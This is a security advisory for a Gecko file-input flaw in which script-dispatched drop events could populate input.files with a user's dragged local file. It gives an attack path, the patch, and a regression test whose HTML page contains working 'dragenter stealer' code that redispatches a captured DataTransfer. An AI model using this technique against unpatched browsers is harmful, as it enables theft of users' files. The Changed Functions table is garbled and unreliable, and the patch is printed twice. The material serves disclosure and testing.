CVE-2026-74971
Overview
Background
- `nsFileControlFrame`
- the layout frame that renders and manages the anonymous content and drag-and-drop behavior of an
<input type="file">element. - `AddSystemEventListener`
- a Gecko
EventTargetAPI that registers a listener in the system event group, whose trailingaWantsUntrustedargument controls whether the listener also fires for script-synthesized (untrusted) events. - Trusted vs. untrusted events
- a trusted event originates from a genuine user action or the browser engine, whereas an untrusted event is one a web page created and dispatched via script (e.g.
new DragEvent(...)+dispatchEvent). - `DataTransfer`
- the object carried by drag events; during a real OS-initiated drag it may reference files on disk that the page must not read until the user actually drops them on a legitimate target.
Root Cause Analysis
In nsFileControlFrame::CreateAnonymousContent, the file control registered its mMouseListener for the "drop" and "dragover" events by calling AddSystemEventListener without supplying the aWantsUntrusted argument. For a content node, the omitted default for aWantsUntrusted resolves to true, so the control’s drop/dragover handlers fired not only for genuine user drags but also for events a web page synthesized in script. This breaks the invariant that a file input should only accept and act on drop/dragover gestures the user actually performed. An attacker page could install a capturing dragenter listener during a real drag, capture the live DataTransfer (which references the user’s real file), and re-dispatch it as an untrusted "drop" event at the input, causing the control to ingest and populate input.files with a file the user never intentionally dropped.
The fix passes false for aWantsUntrusted on both listeners, so the file control ignores page-synthesized "drop" and "dragover" events and only responds to trusted, user-driven drags.
aWantsUntrusted to false, letting a content-node default of true expose them to script-dispatched events; the fix explicitly passes false so only trusted user gestures reach mMouseListener.Attack Path
- Bait the drag The attacker page lures the user into starting a drag of a local file over the page (e.g. an image or document the user drags onto a decoy area).
- Steal the live DataTransfer
A capturing
"dragenter"listener grabs the trusted event’sDataTransfer, which still references the real file even thoughgetAsFile()and.filesare gated during dragenter. - Synthesize an untrusted drop
The page dispatches a script-made
"drop"DragEventat the<input type="file">, reusing the stolenDataTransfer. - File control ingests it
Because the listener defaulted to
aWantsUntrusted = true,mMouseListenerhandles the untrusted drop and setsinput.filesto the user’s real file. - Read the contents
The page reads the now-populated
input.files[0](e.g. viaFile.text()), disclosing file contents the user never chose to share.
Impact Assessment
DataTransfer yields nothing the page did not already have. The severity is moderate because it depends on user interaction and a plausibly-crafted drag target rather than being fully automatic.Changed Functions
| Function | Change | Notes |
|---|---|---|
add_taskdom/html/test/browser_input_file_untrusted_drop.js |
modified | |
ifdom/html/test/browser_input_file_untrusted_drop.js |
modified | |
fordom/html/test/file_input_file_untrusted_drop.html |
modified |
Files Changed
dom/html/test/browser.tomldom/html/test/browser_input_file_untrusted_drop.jsdom/html/test/file_input_file_untrusted_drop.htmllayout/forms/nsFileControlFrame.cpp
Audit Directions
- Untrusted-event default on `AddSystemEventListener`Review every C++ call to
AddSystemEventListener/AddEventListeneron content nodes whereaWantsUntrustedis omitted; the content-node default istrue, so security-sensitive handlers may be reachable by script-dispatched events. - Trust checks in drag/drop handlersAudit
mMouseListenerand similar drop handlers to confirm they verifyevent.isTrusted(or are only registered for trusted events) before mutating state such asinput.files. - Live `DataTransfer` reuseLook for handlers that act on a
DataTransferobtained from one event when dispatched through a different, untrusted event, since the file-reference gating duringdragenter/dragovercan be bypassed by re-dispatching a captured transfer.
Patch
diff --git a/layout/forms/nsFileControlFrame.cpp b/layout/forms/nsFileControlFrame.cpp
index 51859d9a8c8..06025db112b 100644
--- a/layout/forms/nsFileControlFrame.cpp
+++ b/layout/forms/nsFileControlFrame.cpp
@@ -138,8 +138,9 @@ nsresult nsFileControlFrame::CreateAnonymousContent(
aElements.AppendElement(mTextContent);
// We should be able to interact with the element by doing drag and drop.
- mContent->AddSystemEventListener(u"drop"_ns, mMouseListener, false);
- mContent->AddSystemEventListener(u"dragover"_ns, mMouseListener, false);
+ mContent->AddSystemEventListener(u"drop"_ns, mMouseListener, false, false);
+ mContent->AddSystemEventListener(u"dragover"_ns, mMouseListener, false,
+ false);
SyncDisabledState();
diff --git a/dom/html/test/browser.toml b/dom/html/test/browser.toml
index 6ae6d9f5c4c..46c6ccaef38 100644
--- a/dom/html/test/browser.toml
+++ b/dom/html/test/browser.toml
@@ -41,6 +41,9 @@ support-files = [
["browser_input_file_picker_opening_notification.js"]
+["browser_input_file_untrusted_drop.js"]
+support-files = ["file_input_file_untrusted_drop.html"]
+
["browser_refresh_after_document_write.js"]
support-files = ["file_refresh_after_document_write.html"]
diff --git a/dom/html/test/browser_input_file_untrusted_drop.js b/dom/html/test/browser_input_file_untrusted_drop.js
new file mode 100644
index 00000000000..46f64eefa48
--- /dev/null
+++ b/dom/html/test/browser_input_file_untrusted_drop.js
@@ -0,0 +1,164 @@
+/* Any copyright is dedicated to the Public Domain.
+ http://creativecommons.org/publicdomain/zero/1.0/ */
+
+"use strict";
+
+const TEST_PATH = getRootDirectory(gTestPath).replace(
+ "chrome://mochitests/content",
+ "https://example.com"
+);
+const PAGE = TEST_PATH + "file_input_file_untrusted_drop.html";
+
+const FILE_CONTENTS = "not for the page to see";
+
+async function createDraggedFile() {
+ const path = PathUtils.join(
+ PathUtils.tempDir,
+ "browser_input_file_untrusted_drop.txt"
+ );
+ await IOUtils.writeUTF8(path, FILE_CONTENTS);
+ registerCleanupFunction(() => IOUtils.remove(path, { ignoreAbsent: true }));
+ return File.createFromFileName(path);
+}
+
+function dragFileOverInput(browser, file) {
+ return SpecialPowers.spawn(browser, [file], async draggedFile => {
+ const doc = content.document;
+ const input = doc.getElementById("fileinput");
+
+ content.wrappedJSObject.installDragEnterStealer();
+
+ const dragData = [[{ type: "application/x-moz-file", data: draggedFile }]];
+
+ EventUtils.startDragSession(content, "copy");
+ try {
+ // Fires dragstart on #dragsource, then dragenter and dragover on the
+ // file input. No drop.
+ EventUtils.synthesizeDragOver(
+ doc.getElementById("dragsource"),
+ input,
+ dragData,
+ "copy",
+ content
+ );
+ } finally {
+ content.windowUtils.dragSession?.endDragSession(true);
+ }
+
+ const stolen = content.wrappedJSObject.stealResult;
+ return {
+ fileCountAfterDrag: input.files.length,
+ stolen: stolen
+ ? {
+ types: Array.from(stolen.types),
+ itemCount: stolen.itemCount,
+ fileCountDuringDragEnter: stolen.fileCountDuringDragEnter,
+ anyItemReadableAsFile: stolen.anyItemReadableAsFile,
+ dropEventCancelled: stolen.dropEventCancelled,
+ fileCountAfterUntrustedDrop: stolen.fileCountAfterUntrustedDrop,
+ }
+ : null,
+ };
+ });
+}
+
+add_task(async function test_stolen_datatransfer_in_untrusted_drop() {
+ const file = await createDraggedFile();
+
+ await BrowserTestUtils.withNewTab(PAGE, async browser => {
+ const result = await dragFileOverInput(browser, file);
+
+ if (!ok(result.stolen, "The page saw a dragenter event")) {
+ return;
+ }
+
+ ok(
+ result.stolen.types.includes("Files"),
+ "The page can see that the drag carries a file"
+ );
+ is(result.stolen.itemCount, 1, "The page can see one item");
+ is(
+ result.stolen.fileCountDuringDragEnter,
+ 0,
+ "DataTransfer.files is empty during dragenter"
+ );
+ ok(
+ !result.stolen.anyItemReadableAsFile,
+ "getAsFile() returns null during dragenter"
+ );
+
+ ok(
+ !result.stolen.dropEventCancelled,
+ "The untrusted drop event was not handled by the file control"
+ );
+ is(
+ result.stolen.fileCountAfterUntrustedDrop,
+ 0,
+ "The untrusted drop did not set input.files"
+ );
+ is(result.fileCountAfterDrag, 0, "input.files is still empty");
+ });
+});
+
+add_task(async function test_untrusted_events_with_page_made_datatransfer() {
+ await BrowserTestUtils.withNewTab(PAGE, async browser => {
+ const [dragOverAllowed, fileCount] = await SpecialPowers.spawn(
+ browser,
+ [],
+ () => [
+ content.wrappedJSObject.spoofUntrustedDragOver(),
+ content.wrappedJSObject.spoofUntrustedDrop(),
+ ]
+ );
+
+ ok(
+ dragOverAllowed,
+ "The file control did not preventDefault() an untrusted dragover"
+ );
+ is(fileCount, 0, "An untrusted drop did not set input.files");
+ });
+});
+
+// Make sure the above isn't passing because dropping files stopped working.
+add_task(async function test_trusted_drop_still_works() {
+ const file = await createDraggedFile();
+
+ await BrowserTestUtils.withNewTab(PAGE, async browser => {
+ const result = await SpecialPowers.spawn(
+ browser,
+ [file],
+ async draggedFile => {
+ const doc = content.document;
+ const input = doc.getElementById("fileinput");
+
+ const changed = new Promise(resolve =>
+ input.addEventListener("change", resolve, { once: true })
+ );
+
+ EventUtils.synthesizeDrop(
+ doc.getElementById("dragsource"),
+ input,
+ [[{ type: "application/x-moz-file", data: draggedFile }]],
+ "copy",
+ content
+ );
+
+ // Only wait for the change event if the drop actually did something,
+ // otherwise a regression here would hang until the test times out
+ // instead of failing with a useful message.
+ const fileCount = input.files.length;
+ if (fileCount) {
+ await changed;
+ }
+
+ return {
+ fileCount,
+ text: fileCount ? await input.files[0].text() : null,
+ };
+ }
+ );
+
+ is(result.fileCount, 1, "A trusted drop set input.files");
+ is(result.text, FILE_CONTENTS, "The dropped file is readable");
+ });
+});
diff --git a/dom/html/test/file_input_file_untrusted_drop.html b/dom/html/test/file_input_file_untrusted_drop.html
new file mode 100644
index 00000000000..0b61b9d2472
--- /dev/null
+++ b/dom/html/test/file_input_file_untrusted_drop.html
@@ -0,0 +1,77 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <meta charset="utf-8">
+ <title>Untrusted drop events on input type=file</title>
+</head>
+<body>
+<div id="dragsource" draggable="true" style="width: 100px; height: 50px">drag me</div>
+<input id="fileinput" type="file">
+<script>
+var stealResult = null;
+
+function installDragEnterStealer() {
+ window.addEventListener("dragenter", onDragEnter, true);
+}
+
+function onDragEnter(event) {
+ const dt = event.dataTransfer;
+ const input = document.getElementById("fileinput");
+
+ let anyItemReadableAsFile = false;
+ for (const item of dt.items) {
+ if (item.getAsFile()) {
+ anyItemReadableAsFile = true;
+ }
+ }
+
+ stealResult = {
+ types: Array.from(dt.types),
+ itemCount: dt.items.length,
+ fileCountDuringDragEnter: dt.files.length,
+ anyItemReadableAsFile,
+ };
+
+ stealResult.dropEventCancelled = !input.dispatchEvent(
+ new DragEvent("drop", {
+ bubbles: true,
+ cancelable: true,
+ dataTransfer: dt,
+ })
+ );
+ stealResult.fileCountAfterUntrustedDrop = input.files.length;
+}
+
+function spoofUntrustedDrop() {
+ const input = document.getElementById("fileinput");
+ input.dispatchEvent(
+ new DragEvent("drop", {
+ bubbles: true,
+ cancelable: true,
+ dataTransfer: makeFileDataTransfer(),
+ })
+ );
+ return input.files.length;
+}
+
+function spoofUntrustedDragOver() {
+ const input = document.getElementById("fileinput");
+ // Returns false if something called preventDefault(), which is how the file
+ // control signals that it would accept the drag.
+ return input.dispatchEvent(
+ new DragEvent("dragover", {
+ bubbles: true,
+ cancelable: true,
+ dataTransfer: makeFileDataTransfer(),
+ })
+ );
+}
+
+function makeFileDataTransfer() {
+ const dt = new DataTransfer();
+ dt.items.add(new File(["spoofed"], "spoofed.txt", { type: "text/plain" }));
+ return dt;
+}
+</script>
+</body>
+</html>
Regression Test / PoC
diff --git a/dom/html/test/browser.toml b/dom/html/test/browser.toml
index 6ae6d9f5c4c..46c6ccaef38 100644
--- a/dom/html/test/browser.toml
+++ b/dom/html/test/browser.toml
@@ -41,6 +41,9 @@ support-files = [
["browser_input_file_picker_opening_notification.js"]
+["browser_input_file_untrusted_drop.js"]
+support-files = ["file_input_file_untrusted_drop.html"]
+
["browser_refresh_after_document_write.js"]
support-files = ["file_refresh_after_document_write.html"]
diff --git a/dom/html/test/browser_input_file_untrusted_drop.js b/dom/html/test/browser_input_file_untrusted_drop.js
new file mode 100644
index 00000000000..46f64eefa48
--- /dev/null
+++ b/dom/html/test/browser_input_file_untrusted_drop.js
@@ -0,0 +1,164 @@
+/* Any copyright is dedicated to the Public Domain.
+ http://creativecommons.org/publicdomain/zero/1.0/ */
+
+"use strict";
+
+const TEST_PATH = getRootDirectory(gTestPath).replace(
+ "chrome://mochitests/content",
+ "https://example.com"
+);
+const PAGE = TEST_PATH + "file_input_file_untrusted_drop.html";
+
+const FILE_CONTENTS = "not for the page to see";
+
+async function createDraggedFile() {
+ const path = PathUtils.join(
+ PathUtils.tempDir,
+ "browser_input_file_untrusted_drop.txt"
+ );
+ await IOUtils.writeUTF8(path, FILE_CONTENTS);
+ registerCleanupFunction(() => IOUtils.remove(path, { ignoreAbsent: true }));
+ return File.createFromFileName(path);
+}
+
+function dragFileOverInput(browser, file) {
+ return SpecialPowers.spawn(browser, [file], async draggedFile => {
+ const doc = content.document;
+ const input = doc.getElementById("fileinput");
+
+ content.wrappedJSObject.installDragEnterStealer();
+
+ const dragData = [[{ type: "application/x-moz-file", data: draggedFile }]];
+
+ EventUtils.startDragSession(content, "copy");
+ try {
+ // Fires dragstart on #dragsource, then dragenter and dragover on the
+ // file input. No drop.
+ EventUtils.synthesizeDragOver(
+ doc.getElementById("dragsource"),
+ input,
+ dragData,
+ "copy",
+ content
+ );
+ } finally {
+ content.windowUtils.dragSession?.endDragSession(true);
+ }
+
+ const stolen = content.wrappedJSObject.stealResult;
+ return {
+ fileCountAfterDrag: input.files.length,
+ stolen: stolen
+ ? {
+ types: Array.from(stolen.types),
+ itemCount: stolen.itemCount,
+ fileCountDuringDragEnter: stolen.fileCountDuringDragEnter,
+ anyItemReadableAsFile: stolen.anyItemReadableAsFile,
+ dropEventCancelled: stolen.dropEventCancelled,
+ fileCountAfterUntrustedDrop: stolen.fileCountAfterUntrustedDrop,
+ }
+ : null,
+ };
+ });
+}
+
+add_task(async function test_stolen_datatransfer_in_untrusted_drop() {
+ const file = await createDraggedFile();
+
+ await BrowserTestUtils.withNewTab(PAGE, async browser => {
+ const result = await dragFileOverInput(browser, file);
+
+ if (!ok(result.stolen, "The page saw a dragenter event")) {
+ return;
+ }
+
+ ok(
+ result.stolen.types.includes("Files"),
+ "The page can see that the drag carries a file"
+ );
+ is(result.stolen.itemCount, 1, "The page can see one item");
+ is(
+ result.stolen.fileCountDuringDragEnter,
+ 0,
+ "DataTransfer.files is empty during dragenter"
+ );
+ ok(
+ !result.stolen.anyItemReadableAsFile,
+ "getAsFile() returns null during dragenter"
+ );
+
+ ok(
+ !result.stolen.dropEventCancelled,
+ "The untrusted drop event was not handled by the file control"
+ );
+ is(
+ result.stolen.fileCountAfterUntrustedDrop,
+ 0,
+ "The untrusted drop did not set input.files"
+ );
+ is(result.fileCountAfterDrag, 0, "input.files is still empty");
+ });
+});
+
+add_task(async function test_untrusted_events_with_page_made_datatransfer() {
+ await BrowserTestUtils.withNewTab(PAGE, async browser => {
+ const [dragOverAllowed, fileCount] = await SpecialPowers.spawn(
+ browser,
+ [],
+ () => [
+ content.wrappedJSObject.spoofUntrustedDragOver(),
+ content.wrappedJSObject.spoofUntrustedDrop(),
+ ]
+ );
+
+ ok(
+ dragOverAllowed,
+ "The file control did not preventDefault() an untrusted dragover"
+ );
+ is(fileCount, 0, "An untrusted drop did not set input.files");
+ });
+});
+
+// Make sure the above isn't passing because dropping files stopped working.
+add_task(async function test_trusted_drop_still_works() {
+ const file = await createDraggedFile();
+
+ await BrowserTestUtils.withNewTab(PAGE, async browser => {
+ const result = await SpecialPowers.spawn(
+ browser,
+ [file],
+ async draggedFile => {
+ const doc = content.document;
+ const input = doc.getElementById("fileinput");
+
+ const changed = new Promise(resolve =>
+ input.addEventListener("change", resolve, { once: true })
+ );
+
+ EventUtils.synthesizeDrop(
+ doc.getElementById("dragsource"),
+ input,
+ [[{ type: "application/x-moz-file", data: draggedFile }]],
+ "copy",
+ content
+ );
+
+ // Only wait for the change event if the drop actually did something,
+ // otherwise a regression here would hang until the test times out
+ // instead of failing with a useful message.
+ const fileCount = input.files.length;
+ if (fileCount) {
+ await changed;
+ }
+
+ return {
+ fileCount,
+ text: fileCount ? await input.files[0].text() : null,
+ };
+ }
+ );
+
+ is(result.fileCount, 1, "A trusted drop set input.files");
+ is(result.text, FILE_CONTENTS, "The dropped file is readable");
+ });
+});
diff --git a/dom/html/test/file_input_file_untrusted_drop.html b/dom/html/test/file_input_file_untrusted_drop.html
new file mode 100644
index 00000000000..0b61b9d2472
--- /dev/null
+++ b/dom/html/test/file_input_file_untrusted_drop.html
@@ -0,0 +1,77 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <meta charset="utf-8">
+ <title>Untrusted drop events on input type=file</title>
+</head>
+<body>
+<div id="dragsource" draggable="true" style="width: 100px; height: 50px">drag me</div>
+<input id="fileinput" type="file">
+<script>
+var stealResult = null;
+
+function installDragEnterStealer() {
+ window.addEventListener("dragenter", onDragEnter, true);
+}
+
+function onDragEnter(event) {
+ const dt = event.dataTransfer;
+ const input = document.getElementById("fileinput");
+
+ let anyItemReadableAsFile = false;
+ for (const item of dt.items) {
+ if (item.getAsFile()) {
+ anyItemReadableAsFile = true;
+ }
+ }
+
+ stealResult = {
+ types: Array.from(dt.types),
+ itemCount: dt.items.length,
+ fileCountDuringDragEnter: dt.files.length,
+ anyItemReadableAsFile,
+ };
+
+ stealResult.dropEventCancelled = !input.dispatchEvent(
+ new DragEvent("drop", {
+ bubbles: true,
+ cancelable: true,
+ dataTransfer: dt,
+ })
+ );
+ stealResult.fileCountAfterUntrustedDrop = input.files.length;
+}
+
+function spoofUntrustedDrop() {
+ const input = document.getElementById("fileinput");
+ input.dispatchEvent(
+ new DragEvent("drop", {
+ bubbles: true,
+ cancelable: true,
+ dataTransfer: makeFileDataTransfer(),
+ })
+ );
+ return input.files.length;
+}
+
+function spoofUntrustedDragOver() {
+ const input = document.getElementById("fileinput");
+ // Returns false if something called preventDefault(), which is how the file
+ // control signals that it would accept the drag.
+ return input.dispatchEvent(
+ new DragEvent("dragover", {
+ bubbles: true,
+ cancelable: true,
+ dataTransfer: makeFileDataTransfer(),
+ })
+ );
+}
+
+function makeFileDataTransfer() {
+ const dt = new DataTransfer();
+ dt.items.add(new File(["spoofed"], "spoofed.txt", { type: "text/plain" }));
+ return dt;
+}
+</script>
+</body>
+</html>